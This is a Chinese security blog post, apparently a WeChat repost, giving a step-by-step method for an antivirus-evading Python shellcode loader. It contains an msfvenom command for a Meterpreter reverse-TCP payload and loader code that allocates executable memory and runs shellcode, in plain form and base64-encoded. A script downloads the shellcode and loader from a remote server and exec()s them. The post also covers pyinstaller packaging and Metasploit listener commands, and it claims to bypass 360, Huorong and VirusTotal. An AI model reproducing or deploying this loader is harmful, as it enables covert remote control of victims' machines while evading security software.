分享 | Python编写loader加载shellcode免杀学习

admin 2022年5月8日04:03:22评论188 views字数 2951阅读9分50秒阅读模式

文章来源:Reset安全

(1)msf生成shellcode,使用base64编码。

msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.133.128 lport=4444 -f py

分享 | Python编写loader加载shellcode免杀学习

(2)网上找的loader加载器代码,进行base64编码

原始代码:

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

改写成一句话并且进行base64编码:

Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSk7YnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHB0ciksIGJ1ZiwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLCBjdHlwZXMuY19pbnQoLTEpKQ==

(3)将shellcode代码和loader代码,存入txt,注意byte字节流要转成字符串形式写入。

str(b'xxxx' coding='utf-8')

(4)将txt放到服务器上,使用python起http服务,以便访问。

python3 -m http.server 10008

分享 | Python编写loader加载shellcode免杀学习

分享 | Python编写loader加载shellcode免杀学习

(5)编写代码,远程读取txt内容,本地运行,实现分离。

import base64import ctypesimport requests
buf = requests.get("http://xxx.xxx.xxx.xxx:10008/shellcode.txt", timeout=5).textbufs = base64.b64decode(buf)shellcode = bytearray(bufs)loader = requests.get("http://xx.xxx.xxx.xx:10008/loader.txt", timeout=5).textexec(base64.b64decode(loader))

(6)使用pyinstaller打包exe。

pyinstaller -F -w 2.py

分享 | Python编写loader加载shellcode免杀学习

(7)msf开启监听,运行2.exe,主机成功上线。

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcset lhost 192.168.133.12set lport 4444run

分享 | Python编写loader加载shellcode免杀学习

(8)免杀效果。

本地过360和火绒。

分享 | Python编写loader加载shellcode免杀学习

virustotal,查杀结果。

分享 | Python编写loader加载shellcode免杀学习

virscan,查杀结果。


分享 | Python编写loader加载shellcode免杀学习

(9)参考文章

https://blog.csdn.net/qq_25761407/article/details/121871463

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗分享 | Python编写loader加载shellcode免杀学习

往期文章有彩蛋哦分享 | Python编写loader加载shellcode免杀学习

分享 | Python编写loader加载shellcode免杀学习

一如既往的学习,一如既往的整理,一如即往的分享分享 | Python编写loader加载shellcode免杀学习

如侵权请私聊公众号删文

推荐阅读↓↓↓

我知道你在看

原文始发于微信公众号(渗透Xiao白帽):分享 | Python编写loader加载shellcode免杀学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日04:03:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | Python编写loader加载shellcode免杀学习http://cn-sec.com/archives/984214.html

发表评论

匿名网友 填写信息